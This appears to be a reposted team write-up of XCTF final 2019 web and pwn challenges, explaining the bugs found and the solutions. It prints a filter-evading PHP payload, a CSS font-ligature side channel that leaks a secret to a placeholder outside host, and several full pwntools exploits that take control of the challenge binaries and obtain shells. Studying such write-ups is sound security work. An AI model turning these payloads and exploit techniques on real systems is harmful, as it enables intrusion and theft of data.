XCTF final 2019 Writeup By ROIS

2019-10-28 约 1492 字 预计阅读 8 分钟

声明:本文 【XCTF final 2019 Writeup By ROIS】 由作者 wywwzjj 于 2019-10-28 09:10:06 首发 先知社区 曾经 浏览数 200 次

感谢 wywwzjj 的辛苦付出!

Web

babylog

各种尝试后,发现可以利用缓存将 xff 头处的 self-xss 转为存储型 xss。
https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html

lfi2019

SECOND BLOOD

这个题目充满了出题人的恶趣味。没用的代码和注释实在太多了,我第一次感受到原来注释多也挺惹人烦的。其主要就两个功能:

  1. include文件。
  2. 写文件。

重点在于绕过它的各种限制,其对于文件有如下限制:

  1. 文件名不能出现['.', './', '~', '.\\', '#', '<', '>']中的任意一个字符
  2. 写文件的内容会被preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);处理。

在include文件前,其还有一个限制:

$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
/*
path_sanitizer(true)会把所有的/和\替换为空:
foreach(["/", "\\"] as $f){
  $dir = str_replace($f, "", $dir);
}
*/

if($read_file === $read_file_with_hardened_filter ||
   @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
  return ["msg" => "request blocked", "type" => "error"];
}

如果它是Linux服务器的话,很显然,直接上传一个文件名为bb\的文件就能绕过限制。但这题不行。经过对一些特殊字符(如下)的测试,发现这是一台Windows机器。

对于Windows的文件读取,有一个小Trick:使用FindFirstFile这个API的时候,其会把"解释为.。意即:shell"php === shell.php

因此,回到这题来。我们上传一个文件,名字设为test。然后,通过"/test即可读取。此时:

$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在

至此,即绕过了文件名的限制。至于文件内容的限制,更为简单了。

参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html ,编写payload如下:

<?=$_=[]?><?=$_=@"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>

其用 <?=?> 替代分号,最后运行的是file_get_contents('flag.php'),就能出结果了。

weiphp

FIRST BLOOD

挺无聊的一个 CMS 审计题目。我还是第一次见到能有一个CMS 的开发者允许用户自己定义allow_file_ext的。

并且存在一个免验证的文件上传接口:

然后就没有然后了。

babypress

注意到docker-compose.yml里把网卡设置为了外网地址。联想到 WordPress 的 xml-rpc 修复了各种内网SSRF,猜想就是通过 xml-rpc 打外网从而拿到 flag。于是直接用 xml-rpc 打就 ok。

noxss

FIRST BLOOD

非常明显,唯一的输出点只有skin,但此输出点过滤掉了 < > " '

很显然,我们只能用 CSS 搞事情了。那第一步是如何执行我们需要的任意 CSS。

根据 CSS 标准:https://www.w3.org/TR/css-syntax-3/#error-handling

CSS 会忽略所有的不正确的语法,就像这些东西从来没有存在过一样。因此,我们只需要换行,就可以让整个import 无效。
让我们再往下看一下,CSS 如何换行:https://www.w3.org/TR/css-syntax-3/#newline-diagram

其支持:%0a、%0d、%0f。%0a 会被Web服务器吃掉,因此使用 %0d 和 %0f 都可以逃逸出@import,从而实现执行任意 CSS 样式。

仔细读一下源码,就会发现,我们这题的目标是拿到这儿的 secret。

大家都知道,CSS 可以很容易地匹配到 attr,但是提取 content 就比较难了。CSS3 标准曾经有“:content”伪类,不过后来被删除,没进入正式标准,也没有浏览器支持它。因此,要得到这个值,只能使用一些Side-channel的非常规手段。CSS 的话,包括动画、字体等都是比较有效的侧信道攻击方案。不过,对于动画,我暂时想不到什么比较合适的方案;但是字体则可以利用“连字(Ligature)”进行侧信道。

我最早的思路是:

@font-face {
  font-family: ligature;
  src: url(xxxxx);
}
@font-face {
  font-family: normal;
  src: url(xxxxx);
}
script {
  display: block;
  font-family: "ligature", "normal";
}

构造一个连字字体,这个字体内只有“xctf”四个字符,如果浏览器只加载了这个字体,未加载normal字体,则证明页面内存在且仅存在“xctf”这四个字符。否则,则会加载normal字体。后发现该思路不对,因为script标签内字符实在太多,无法这么处理。

在这之后,我进行了一番搜索。查找到相关的一篇波兰语文章(别问我怎么搜到的.jpg):https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

这篇文章的大致思路是:

  1. 构造一个字体,把所有字符的宽度都设置为0。
  2. 把「xctf」的宽度设置为10000。
  3. 当页面里出现「xctf」的时候,就会出现滚动条。
  4. 在滚动条的样式里,通过background: url()发送请求。
  5. 逐位爆破。

不过,原文的payload过于复杂,利用了包括缓存、二分爆破等一系列技术,实在是不好利用,我也没跑通。因此,我自己基于文章内提供的fontforge脚本重新写了一份payload。

首先是需要一个Nodejs Server(同原文),这个Server用于动态生成字体:

script.fontforge:

#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

index.js

  cat index.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 23460;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');


// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
                "@": {
                    "id": "hack",
                    "horiz-adv-x": "0"
                },
                "font-face": {
                    "@": {
                        "font-family": "hack",
                        "units-per-em": "1000"
                    }
                },
                "glyph": []
            }
        }
    };

    // Domyślnie wszystkie możliwe znaki mają zerową szerokość...
    let glyphs = font.defs.font.glyph;
    for (let c = 0x20; c <= 0x7e; c += 1) {
        const glyph = {
            "@": {
                "unicode": String.fromCharCode(c),
                "horiz-adv-x": "0",
                "d": "M1 0z",
            }
        };
        glyphs.push(glyph);
    }

console.log(prefix + (charsToLigature).toString())
    // ... za wyjątkiem ligatur, które są BARDZO szerokie.
    charsToLigature.forEach(c => {
        const glyph = {
            "@": {
                "unicode": prefix + c,
                 "vert-adv-y": "10000",
                 "horiz-adv-x": "10000",
                 "d": "M0 10000,v 0 10000z",
            }
        }
        glyphs.push(glyph);
    });

    // Konwertujemy JSON-a na SVG.
    const xml = js2xmlparser.parse("svg", font);

    // A następnie wykorzystujemy fontforge
    // do zamiany SVG na WOFF.
    const tmpobj = tmp.dirSync();
    fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
    child_process.spawnSync("/usr/bin/fontforge", [
        `${__dirname}/script.fontforge`,
        `${tmpobj.name}/font.svg`
    ]);

    const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);

    // Usuwamy katalog tymczasowy.
    rimraf.sync(tmpobj.name);

    // I zwracamy fonta w postaci WOFF.
    return woff;
}

// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;

    // Dbamy o to by font znalazł się w cache'u.
    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });

    res.send(createFont(prefix, Array.from(charsToLigature)));

});

app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})

index.html:

<script>
//const chars = ['t','f']
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')
let ff = [], data = ''
let prefix = 'xctf{dobra_robota_jestes_mistrzem_CSS}'
chars.forEach(c => {
    var css = ''
    css = '?theme=../../../../\fa{}){}'
    css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://xxxx:23459/?${encodeURIComponent(prefix+c)})}`
    css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://xxxxx:23460/font/${prefix}/${c});}`
    css += `script{font-family:a${c.charCodeAt()};display:block}`
    document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>

原理:

  1. 将页面宽度设置为100000px,保证不会出现滚动条;
  2. 隐藏页面内所有元素,然后将script标签显示出来;
  3. 为script标签设置字体,如果匹配到了对应字符,则显示滚动条;
  4. 通过滚动条接收当前字符。

把这个页面的URL直接交给bot,即可接收到一位的flag。之后逐位爆破即可。效果如图:

pwn

fault

感谢r3kapig的大佬们带来的精彩比赛

看了流量才找到洞。。

加密函数:

add_round_key((__int64)v15, v9, 0);
  for ( k = 1; k < round; ++k )
  {
    if ( k == 8 )
      v15[v7] ^= v8;    //!!!
    subBytes((__int64)v15);
    shiftRows((__int64)v15);
    mixColums((__int64)v15);
    add_round_key((__int64)v15, v9, k);
  }
  subBytes((__int64)v15);
  shiftRows((__int64)v15);
  add_round_key((__int64)v15, v9, round);

可以看到这里有个v15[v7] ^= v8,v7v8是传进来的参数,然而在解密函数里可以覆盖到这两个的值,于是可以利用这个把

────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x20
 RBX  0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
 RCX  0xc0
 RDX  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
 RDI  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
 RSI  0x20
 R8   0x20
 R9   0x10
 R10  0x0
 R11  0x10
 R12  0x0
 R13  0x7fff5b1aeac0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fff5b1ae970 —▸ 0x7fff5b1ae9c0 —▸ 0x7fff5b1ae9e0 —▸ 0x56105a45f340 ◂— push   r15
 RSP  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
 RIP  0x56105a45f004 ◂— mov    byte ptr [rdx + rax], cl
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
  0x56105a45f004    mov    byte ptr [rdx + rax], cl
   0x56105a45f007    mov    rax, qword ptr [rbp - 0x20]
   0x56105a45f00b    mov    rdi, rax
   0x56105a45f00e    call   0x56105a45e886

   0x56105a45f013    mov    rax, qword ptr [rbp - 0x20]
   0x56105a45f017    mov    rdi, rax
   0x56105a45f01a    call   0x56105a45e6b5

   0x56105a45f01f    mov    rax, qword ptr [rbp - 0x20]
   0x56105a45f023    mov    rdi, rax
   0x56105a45f026    call   0x56105a45e4b9

   0x56105a45f02b    movzx  edx, byte ptr [rbp - 0x29]
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 rdx rdi rsp  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
01:0008              0x7fff5b1ae918 ◂— 0x62bfb8152eb4f9cb
02:0010 rbx          0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
03:0018              0x7fff5b1ae928 —▸ 0x56105acb10b0 ◂— 0xb9a433d31f71aaa1
04:0020              0x7fff5b1ae930 —▸ 0x56105a6613e0 ◂— 0xfcca81e5fb28c9b3   !!!!
05:0028              0x7fff5b1ae938 —▸ 0x56105a6613d0 ◂— 0x34b1fca7a4f6bb23
06:0030              0x7fff5b1ae940 ◂— 0x80404ff5b1ae970

我标感叹号的那个地址指向key,后续的操作会把key值修改,最后还会把加密后的内容输出,输出的内容和key是一样的,这样就拿到了key了,但是要加密一样的字符串两次才可以,对密码学这个不是很熟悉,误打误撞吧,我太菜了

from pwn import *

context.arch='amd64'
def cmd(command):
    p.recvuntil(">",timeout=0.5)
    p.sendline(command)

def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./origin_fault")
        gdb.attach(p)
        # debug(0x0000000000003004)
    cmd('e')
    p.sendline("00"*0x10)
    cmd('e')
    p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
    cmd('d')
    payload1 = "5658a9ced4f5415d3e85e2e879d464405658a9ced4f5415d3e85e2e879d46440"
    payload2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
    p.sendline(payload1)
    p.sendline(payload2)

    cmd('e')
    p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
    p.recvuntil("e:encryp",drop=True)
    p.recvuntil(">")
    key = p.recvuntil("e:encryp",drop=True)
    info(key)
    cmd('s')
    p.sendline(key)
    flag = p.recv(0x3c,timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    main(args['REMOTE'])

hannota

第二天说没有流量了。。。。。其实内心是有点慌的

只找到了两个漏洞

一个是login函数的堆溢出

v14 = __readfsqword(0x28u);
  src = 0LL;
  printf("please enter user token length : ");
  size = get_int();
  if ( size <= 0xFF )
  {
    printf("please enter user token: ");
    token = malloc(size);
    read_n(token, 0x100uLL);
    strcpy(dest, ROOM_PATH);
    n = strlen(dest);

另一个是play from consoleshow有个格式化字符串

unsigned __int64 sub_243B()
{
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v2; // [rsp+118h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("We will receive input from the terminal");
  printf("E.g :");
  read(0, &buf, 0x100uLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

我用的是这里的格式化字符串,一开始修的时候把printf改成了putscheck没过,改成了printf("%s",buf);,还是没过,赛后问了阿鹏师傅,应该改为write(1,buf,strlen(buf));这样的,orz

格式化字符串的exp

from pwn import *

context.arch='amd64'

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def cmd(command):
    p.recvuntil(">>> ",timeout=0.5)
    p.sendline(str(command))

def fmtstr(offset, addr, data, written):
    cnt = 0
    payload = ''
    address = ''
    for x in data:
        cur = ord(x)
        if cur >= written&0xff:
            to_add = cur - (written&0xff)
        else:
            to_add = 0x100 + cur - (written&0xff)
        round = ''
        if to_add != 0:
            round += "%{}c".format(to_add)
        round += "%{}$hhn".format(offset+cnt+len(data)*2)
        assert(len(round) <= 0x10)
        written += to_add + 0x10 - len(round)
        payload += round.ljust(0x10, '_')
        address += p64(addr+cnt)
        cnt+=1
    return payload + address

def ca(tl,t,nl,n,pl,pa):
    cmd(1)
    p.recvuntil("please enter user token length : ")
    p.sendline(str(tl))
    p.recvuntil("please enter user token: ")
    p.sendline(t)
    p.recvuntil("please enter user name length : ")
    p.sendline(str(nl))
    p.recvuntil("please enter user name: ")
    p.sendline(n)
    p.recvuntil("please enter user password length : ")
    p.sendline(str(pl))
    p.recvuntil("please enter user password: ")
    p.sendline(pa)
def login(tl,t,pl,pa):
    cmd(0)
    p.recvuntil("please enter user token length : ")
    p.sendline(str(tl))
    p.recvuntil("please enter user token: ")
    p.sendline(t)
    p.recvuntil("please enter user password length : ")
    p.sendline(str(pl))
    p.recvuntil("please enter user password : ")
    p.sendline(pa)

def add_pl(type):
    cmd(0)
    cmd(type)
def show(idx):
    cmd(2)
    p.recvuntil("index : ")
    p.sendline(str(idx))

def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./hannota")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        # gdb.attach(p)
        debug(0x00000000000024A1)
    ca(0x20,"AA",0x20,"AA",0x20,"AA")
    ca(0x20,"AA",0x20,"AA",0x20,"AA")
    login(0x20,"AA",0x20,"AA")

    add_pl(0)
    show(0)
    p.recvuntil("E.g :")
    p.sendline("%p%p-%p-%p-%p-%p-%p%p%p%p%p*%p*")

    p.recvuntil('-')
    libc.address = int(p.recvuntil("-",drop=True),16)-0x110081
    info("libc : " + hex(libc.address))
    p.recvuntil('*')
    stack = int(p.recvuntil("*",drop=True),16)
    info("stack : " + hex(stack))
    ret_addr = stack+0x8
    payload = fmtstr(8,ret_addr,p64(libc.address+0x4f2c5)[:6],0)
    show(0)
    p.recvuntil("E.g :")
    p.send(payload)

    sleep(0.1)
    p.sendline("cat flag")
    p.recv(timeout=0.5)
    flag = p.recvuntil("\n",timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    main(args['REMOTE'])

pointer_guard

逐渐变难的一题

  • 一开始5次地址写,1次libc里的任意函数call,参数还是可控的,那自然就system("/bin/sh")execve("/bin/sh",0,0)
from pwn import *

context.arch='amd64'
def cmd(command):
    p.recvuntil(">",timeout=0.5)
    p.sendline(command)

def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./pwn")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        gdb.attach(p)
        # debug(0x0000000000000A69)

    p.recvuntil("binary_base=")
    elf.address = int(p.recvuntil("\n",drop=True),16)
    info("elf : " + hex(elf.address))

    p.recvuntil("libc_base=")
    libc.address = int(p.recvuntil("\n",drop=True),16)
    info("libc : " + hex(libc.address))

    p.recvuntil("stack_base=")
    stack = int(p.recvuntil("\n",drop=True),16)
    info("stack : " + hex(stack))

    for i in range(4):
        p.recvuntil("Addr:")
        p.sendline(str(stack))
        p.recvuntil("Value:")
        p.sendline(str(1))
    p.recvuntil("Addr:")
    p.sendline(str(elf.address+0x203210))
    p.recvuntil("Value:")
    p.sendline(str(u64('/bin/sh\x00')))
    p.recvuntil("Trigger!")
    # system
    # p.sendline("system")
    # p.sendline("1")
    # p.sendline(str(stack+0x54))
    # execve
    p.sendline("execve")
    p.sendline("3")
    p.sendline(str(stack+0x54))
    p.sendline("0")
    p.sendline("0")
    p.sendline("cat flag")
    p.recv(timeout=0.5)
    flag = p.recvuntil("\n",timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    elf = ELF("./pwn",checksec=False)
    main(args['REMOTE'])
  • 然后变成了一次任意地址写,一次libc任意函数call,但是参数不可控,那就写那些hook吧,__free_hook,__malloc_hook,__memalign_hook,__realloc_hook都试一试

这里贴个__free_hook的,其它的类似

p.recvuntil("Addr:")
    p.sendline(str(libc.symbols["__free_hook"]))
    p.recvuntil("Value:")
    p.sendline(str(libc.address+0x10a38c))
    p.recvuntil("Trigger!")
    p.sendline("free")
    p.sendline("0\x00"+"\x00"*90)
    p.sendline("cat flag")
    p.recv(timeout=0.5)
    flag = p.recvuntil("\n",timeout=0.5)
    info(flag)
  • 然后是两次地址写
for ( i = 0; (unsigned __int64)i < 2; ++i )
  {
    puts("Addr:");
    v3 = (_QWORD *)sub_DB1();
    puts("Value:");
    v4 = sub_DB1();
    sub_1498(v3, v4);
  }
  if ( !dlopen("libc.so.6", 1) )
  {
    v5 = dlerror();
    fprintf(stderr, "%s\n", v5);
    exit(1);
  }

因为dlopen会调用malloc函数,所以就修改__malloc_hook__realloc_hookgetshell

p.recvuntil("Addr:")
    p.sendline(str(libc.symbols["__realloc_hook"]))
    p.recvuntil("Value:")
    p.sendline(str(libc.address+0x10a38c))
    p.recvuntil("Addr:")
    p.sendline(str(libc.symbols["__malloc_hook"]))
    p.recvuntil("Value:")
    p.sendline(str(libc.symbols["realloc"]+8))
  • 最后只有一次地址写了
for ( i = 0; (unsigned __int64)i < 1; ++i )
  {
    puts("Addr:");
    v3 = (_QWORD *)sub_DB1();
    puts("Value:");
    v4 = sub_DB1();
    sub_1498(v3, v4);
  }
  if ( !dlopen("libc.so.6", 1) )
  {
    v5 = dlerror();
    fprintf(stderr, "%s\n", v5);
    exit(1);
  }

我在_dlerror_run里找到了call _dl_catch_error@plt

0x7ff6fbcf6726 <_dlerror_run+86>     lea    rdi, [rbx + 0x10]
   0x7ff6fbcf672a <_dlerror_run+90>     mov    r8, r12
   0x7ff6fbcf672d <_dlerror_run+93>     mov    rcx, rbp
  0x7ff6fbcf6730 <_dlerror_run+96>     call   _dl_catch_error@plt <0x7ff6fbcf5d90>
        rdi: 0x7ff6fbef80f0 (last_result+16) ◂— 0x0
        rsi: 0x7ff6fbef80f8 (last_result+24) ◂— 0x0
        rdx: 0x7ff6fbef80e8 (last_result+8) ◂— 0x0
        rcx: 0x7ff6fbcf5f40 (dlopen_doit) ◂— push   rbx

既然是plt的话,那就可以修改GOT表来劫持流程了

 0x7ff6fbcf5d90 <_dl_catch_error@plt>       jmp    qword ptr [rip + 0x2022a2] <0x7ff6fbef8038>

   0x7ff6fbcf5d96 <_dl_catch_error@plt+6>     push   4
   0x7ff6fbcf5d9b <_dl_catch_error@plt+11>    jmp    0x7ff6fbcf5d40
    
   0x7ff6fbcf5d40                             push   qword ptr [rip + 0x2022c2] <0x7ff6fbef8008>
   0x7ff6fbcf5d46                             jmp    qword ptr [rip + 0x2022c4] <0x7ff6fba0e38c>

pwndbg> telescope 0x5f4010+0x7f3cf530b000
00:0000│   0x7f3cf58ff010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3cf5917750 (_dl_runtime_resolve_xsavec)

可以看到有两处地方都用到了GOT表,所以都试一试改为one_gadget,结果本地都不行,但是打远程的时候通了,打通的是把_dl_runtime_resolve_xsavecGOT改为one_gadget,这运气没谁了,晚上回去的时候又去试了下本地,居然又可以了。。。

p.recvuntil("Addr:")
    p.sendline(str(libc.address+0x5f4010))
    p.recvuntil("Value:")
    p.sendline(str(libc.address+0x10a38c))

tnj

这题的话还是看丁佬的 github 吧,膜丁佬。
https://github.com/Escapingbug/xctf-2019-final-tnj

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now